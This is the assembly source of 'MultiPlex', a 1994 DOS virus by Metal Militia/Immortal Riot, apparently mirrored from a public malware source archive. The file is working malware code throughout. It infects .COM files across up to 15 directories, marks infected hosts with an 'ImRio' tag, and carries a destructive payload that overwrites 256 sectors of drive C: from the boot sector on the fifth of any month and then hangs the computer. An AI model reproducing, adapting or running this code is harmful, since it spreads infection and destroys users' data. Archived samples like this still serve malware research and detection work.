mirror of
https://github.com/vxunderground/MalwareSourceCode
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284 lines
10 KiB
NASM
284 lines
10 KiB
NASM
; Virusname: MultiPlex
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; Alias(es): None
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; Origin : Sweden
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; Author : Metal Militia/Immortal Riot
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;
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; Thisone's a non-res/non-ow/non-encrypted infector of .COM files which
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; travels thrue one directory on your harddrive each time an infected
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; file's executed.
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;
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; I'ts damage routine will be activated if the date's equal to the fifth
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; of any month. If so, it does an good 'ol 256 which does it's dirty
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; work just as good as MULTI-FLU's 9999.
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;
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code segment
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assume cs:code,ds:code,es:code
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org 0100h
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start_o_virus: mov si,0 ; sub/xor si,si
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jmp mejntwo ; jump there
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db 'IR'
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lengthovir equ offset tag+5-offset mejntwo ; Length of virus
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mejntwo: call nextline ; prepear to put ax in si (no 'BP' here)
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nextline: pop ax ; Pop 'em
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sub ax,offset nextline ; and offset
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call xchg_it ; Now, exchange
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mejnthree: call restore_one ; Restore the
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call restore_two ; first original bytes
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getdir: mov ah,47h ; Get (current) directory
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mov dl,00h ; to restore it later
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push si ; Now, push it
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lea bx,(origindir+si) ; and offset the
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mov si,bx ; place to save it in
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int 21h
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jc lexit ; If there's an error, exit
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pop si ; Pop it
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mov byte ptr ds:[rock+si],00h ; and set 'rock' to zero
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setdta: mov ah,1ah ; Now, set the DTA (needed
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lea dx,(buffa+si) ; to be able to execute
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int 21h ; programs with 'choices')
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findfile: lea dx,(searchein+si) ; What files to search for
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call find_first ; Find first '*.com'
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jnc openup ; If no error, infect
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cmp al,12h ; Was there no files left?
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jne lexit ; If not, outa here!!!!!
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jmp next_dir ; Move to the next dir
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lexit: jmp exit ; long exit jumps to small
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openup: mov ah,3dh ; Open the file
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mov al,02h
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lea dx,(buffa+1eh+si)
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int 21h
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jc lexit
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mov ds:[handle+si],ax
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movepoint: mov ah,42h ; mov ax,4202h
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mov al,02h ; (move to end of file)
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call bx_ds ; handle stuff
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mov cx,cxequals
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mov dx,dxequals
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int 21h
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jc lclose ; was there an error?
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jmp checkmark ; if not, continue
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lclose: jmp close ; long close to short close
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checkmark: mov ah,3fh ; read in the first
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call bx_ds
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call cx_em ; see if already infected
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lea dx,(firsties+si) ; so we read in the first
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int 21h ; bytes to our buffa
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jc lclose
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lea di,(tag+si) ; read in our tag
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lea ax,(firsties+si) ; does it match?
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call xchg_it
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call cx_em
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compare: cmpsb
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jnz infect ; if so, then
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loop compare ; just go ahead
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call xchg_it ; to hunt down
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jmp next_file ; the next file
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infect: call xchg_it
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mov ah,42h ; move to start of file
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mov al,00h
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call bx_ds
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sub cx,cx ; mov cx,0 xor cx,cx
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cwd ; xor dx,dx sub dx,dx
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int 21h
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jc lclose
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mov ah,3fh ; this time, read in
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call bx_ds
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lea dx,(oldstart+si) ; (saving in 'oldstart')
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call cx_four ; the first four bytes
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int 21h
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jc lclose
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mov ah,42h ; now, move to end of file
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mov al,02h
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call bx_ds
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sub cx,cx ; xor cx,cx etc. etc.
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cwd ; xor dx,dx etc. etc.
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int 21h
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jc lclose
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sub ax,3h
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mov word ptr ds:[jump+1+si],ax
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call write_us ; call to write our code
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mov ah,42h ; move to start of file
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mov al,00h
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call bx_ds
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sub cx,cx
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cwd
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int 21h
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call write_em ; write to file
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call bx_ds
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call cx_three ; 3 bytes
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lea dx,(jump+si) ; our own 'JMP'
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int 21h
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call change_dir ; change directory
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lea dx,(rootoz+si) ; to root
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int 21h
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jmp close ; now, close the file
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next_dir: cmp ds:[diroz],15 ; are we thrue with atleast
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je exit ; 15 directories yet? exit!
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mov ah,1ah ; Set the DTA to our
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lea dx,(buffatwo+si) ; second '60 dup (0)' buffa
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int 21h
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call change_dir ; Change directory
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call root_dir ; to the root
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cmp byte ptr ds:[rock+si],00h ; Is 'rock' still zero?
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jne nextdir2 ; If not, get next 'DIR'
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mov byte ptr ds:[rock+si],0ffh ; Now set the 'flag'
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lea dx,(searchzwei+si) ; and start to look for
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sub cx,cx ; dir's instead
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mov bx,cx
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mov cl,10h
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call find_first ; find first of 'em
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jc exit ; error? outa here!
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jmp chdir ; otherwise, get that DIR
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nextdir2: call find_next ; find next DIR
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jc exit ; error, none left? exit!
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inc ds:[diroz+si] ; increase the flag to
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; tell we've found a DIR.
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chdir: call change_dir ; change to that DIR
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lea dx,(buffatwo+1eh+si) ; we've just found
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int 21h
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jmp setdta ; now, set the DTA again
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close: call close_em ; close everything
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runold: mov ah,2ah ; date date
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int 21h
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cmp dl,5 ; fifth of any month?
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jne mov_jmp ; if not, outa here
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mov al,2 ; C:
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mov cx,256 ; 256
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cwd ; starting w/the boot
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int 26h ; direct diskwrite
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jmp $ ; hang computer
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mov_jmp:
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mov ax,0100h ; and run the org. proggy
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jmp ax
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next_file: call close_em ; call to close the file
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call find_next ; call to find next file
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jc next_dir ; if none found, change
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; directory
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jmp openup ; else, open and infect
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exit: mov ah,3bh ;call change_dir
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lea dx,(origindir+si) ; offset 'current'
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int 21h
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jmp runold ; and run the org. proggy
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oldstart: mov ah,4ch
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int 21h
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jump db 0e9h,0,0 ; our 'jmp'
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virusname db ' MULTiPLEX '
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rock db 00h
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c_author db '(c) 1994 Metal Militia'
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rootdiroz db '\',00h
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grouporigin db 'Immortal Riot, Sweden'
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searchzwei db '*. ',00h
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greetings db 'Somewhere, somehow, always :)'
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searchein db '*.com',00h
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write_us: call write_em ; write to file
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call bx_ds
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mov cx,lengthovir ; our viruscode
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lea dx,(mejntwo+si)
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int 21h
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ret
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handle dw 0h
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close_em: mov ah,3eh ; close file
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call bx_ds
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int 21h
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ret
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origindir db 64 dup (0) ; buffer where we save our original dir.
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change_dir: mov ah,3bh ; change dir
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ret
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root_dir: lea dx,(rootdiroz+si) ; when changing to the 'root'
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int 21h
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ret
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find_first:
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mov ah,4eh ; find first file
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jmp int_em
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restore_two:
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mov ds:[0100h],ax ; restore old first
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mov ds:[0102h],cx ; 2/2
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ret
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int_em:
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int 21h
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ret
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buffa db 60h dup (0)
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xchg_it: xchg si,ax
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ret
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buffatwo db 60h dup (0)
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find_next:
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mov ah,4fh ; find next file
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jmp int_em
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firsties db 5 dup (?) ; Buffer for the first five org. bytes
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bx_ds:
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mov bx,ds:[handle+si]
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ret
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write_em: mov ah,40h ; Write to file
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ret
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cx_em: mov cx,05h
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ret
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diroz dw 0h
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cx_three: mov cx,3
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ret
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cx_four: mov cx,4
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ret
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restore_one: mov ax,word ptr ds:[oldstart+si] ; restore old first
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mov cx,word ptr ds:[oldstart+si+2] ; 1/2
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ret
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tag db 'ImRio' ; My lil' DIGITAL GRAFITTI
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rootoz db '\' ; when changing to root
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cxequals equ 0ffffh
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dxequals equ 0fffbh
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code ends
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end start_o_virus
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